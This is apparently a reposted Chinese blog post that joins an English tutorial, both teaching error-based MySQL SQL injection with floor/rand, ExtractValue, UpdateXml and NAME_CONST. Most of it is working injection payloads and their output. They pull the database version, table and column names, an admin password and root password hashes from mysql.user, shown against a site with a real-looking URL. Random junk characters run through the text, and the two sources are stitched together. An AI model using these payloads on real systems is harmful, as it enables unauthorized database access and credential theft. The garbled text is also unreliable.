mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
2 p* _, H1 G8 ~9 l5 v( g* \+—-+——-+———+
| id | title | content |
4 w9 Z/ r1 |# }0 ]6 X+—-+——-+———+
4 s% g/ S( l) Y: k& o|  1 | test  | do it   |
! E& B8 ~  u8 D6 N+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
* d# r- C/ h7 ~  f9 T% @ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
' _* N1 V/ ]! |% fERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

4 N7 P7 ?' m. e# p" BErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

5 X* g) x* f% {2 {* ~http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
( f9 z" _- a. W5 f7 ^
( n* L/ H0 L; e# L: W  {# iErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

  k6 H+ B1 S* ~) s. O) R8 z' @MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
# i* z  O& k+ }; S
8 O/ ~1 C/ r; l4 k) {
相关信息
: {+ K& ]0 O% @" f. `( l8 ]1 ?
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
7 {% u9 w5 L: Z, o
9 V) @5 X$ y" `0 _3 @. eCode:
( A9 T6 G. H1 B& kNAME_CONST(DATA, VALUE)

. r1 I# d2 Z8 V4 h3 EReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

5 g2 m, Q- Q( CSELECT NAME_CONST('TEST', 1)


6 p& O' R( s# A  y5 H
|---------------|
|     TEST      |
|               |
. ]' x1 ]/ w$ X|---------------|
|       1       |
3 w% m% t: @- R1 x|               |
|---------------|
$ O7 b6 H) g$ \% [* z
) s; _. }8 d$ e" [6 J


+ u$ X% r- Q! O. L5 |http://dev.mysql.com/doc/refman/5.0/en/m...name-const
& ~! \& M/ P4 ?$ e6 J5 m8 h& IIntro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
) d* d( F: n7 Y( m. s% z; w
Code:
: g# k8 i: F7 [http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
( h* Z  T# x! ^: h" L
% E7 j) t" X0 I
' o6 M! B- K, v) g0 p

$ {& V! Q5 P' J2 h, t
& T- j$ p$ @3 ZCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


& T/ ~/ ]3 R- tVAR = Your MySQL variable.
, k& W! x( B# V6 m  @' K
MySQL 5.1.3 Server System Variables

Let's try it out on my site..

Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

- v! R2 F% Q1 uErroruplicate column name '5.0.27-community-nt'

5 U5 z8 {0 ~. e7 S' t/ g

) A5 |& {6 Y6 ^; A% z/ r

Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction
- ?' u6 T/ }1 A; J; K- k, h, @
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
( q" p- x/ _3 P

  V2 L! E6 j# T' g4 a+ }3 R0 Z# IWe should get a duplicate column 1 error...
, ]6 p2 u9 l8 J% W
1 q- h: C4 u0 t% e; XCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1
5 ?7 C0 e+ e) q9 A2 m, r1 f( Z, W


  R2 K$ s$ E  R3 q2 r3 u
, t& W1 S3 Z7 Y5 m( k

) H& h& X- J6 u0 E8 x  S6 B( Z0 o0 CNow let's get the tables out this bitch..
# c3 j1 ?3 K. P& L4 }
& P5 ]1 X3 R1 I$ E9 c  fCode:
0 ~% Q/ W6 x7 X+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Let's see if it works here, if it does, we can go on and finish the job.

Code:
: a- d6 f9 M  O' _http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
* ^; ^/ |! V: `  o

Erroruplicate column name 'com_admanage


7 M: H: u1 O  @


7 T9 D, b; v, M# v" B9 v
/ ?6 S: L7 f# Z: Z- v& |2 lNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

. E  A1 T# }  N- mLet's get the columns out of the user table..
( J( I( Z  a3 i" e  M$ [) Y% H. \
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
4 [& _0 g5 j9 \% H

So mine looks like this, and I get the duplicate column name 'Host'.

0 q2 }; a- {9 G, I) ]( f' Y" c- h; aCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
3 I2 ]7 P) \7 x$ f0 m
Erroruplicate column name 'Host'
3 v, Z3 d  _5 ]* S! s
2 _9 }- e9 F7 J$ u/ g( t

- L" L+ T  ]/ F8 i& y. s

& V0 h. v+ `0 i9 F; D
Woot, time to finish this bitch off.

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
# i5 N3 n+ Q' Q, ^: X

So mine looks like this...
% Z! Z8 a& m; U
Code:
8 X+ V4 Y: G+ O2 Y0 A1 ~& c9 yhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
9 E( p3 g0 ^9 L3 ^, k( U6 O
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'



4 A# |* J5 A+ x  `8 b


* k! H8 R3 X  |And there we have it, thanks for reading.

0 \" R" p  B1 n, X$ s